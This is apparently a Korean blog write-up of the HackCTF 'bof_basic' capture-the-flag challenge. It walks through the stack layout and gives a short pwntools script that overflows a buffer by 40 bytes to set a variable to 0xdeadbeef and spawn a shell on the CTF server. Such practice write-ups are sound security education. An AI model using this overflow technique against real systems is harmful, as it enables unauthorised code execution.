[HackCTF] bof_basic
System/PWNABLE

[HackCTF] bof_basic

728x90

checksec

- 32bit

- Partial RELRO

- NX

Analyze

Pseudo Code (IDA)

실행

- 사용자로부터 문자열(buf) s의 값을 fgets함수를 통해 입력받도록 되어있다.

- s와 v5 사이의 거리는 0x34 - 0xC = 52-12 = 40byte

- 바꿔야 될 값이 v5이고 s와 v5 사이의 거리가 40byte이기 때문에 fgets함수에서 45byte로 제한했음에도 bof 공격이 가능해진다.

- v5가 0xdeadbeef일 때 system("/bin/sh") 이 실행되니까 "A"*40 + 0xdeadbeef 의 꼴로 payload를 작성하면 될 것이다. 

"A"*40 + "BBBB"를 입력했더니 v5의 주소가 "BBBB"로 덮인 것을 확인할 수 있다.

exp 레지스터

Exploit

from pwn import *

#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3000)

pl = "A"*40
pl += p32(0xdeadbeef)

p.sendline(pl)
p.interactive()

! 성공 !

정말 이름대로 기초적인 bof 문제였다! 스택이 어떻게 구성되고 retrun address를 어떻게 덮어쓰는지 이해하면 쉽게 풀 수 있는 문제인듯 하다.

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] basic_bof2  (2) 2021.02.01
[HackCTF] ROP  (2) 2021.02.01
[POXX 2020] tips  (0) 2021.01.19
[POXX 2020] investigator  (0) 2021.01.19
[LOB] gremlin → cobolt  (4) 2021.01.15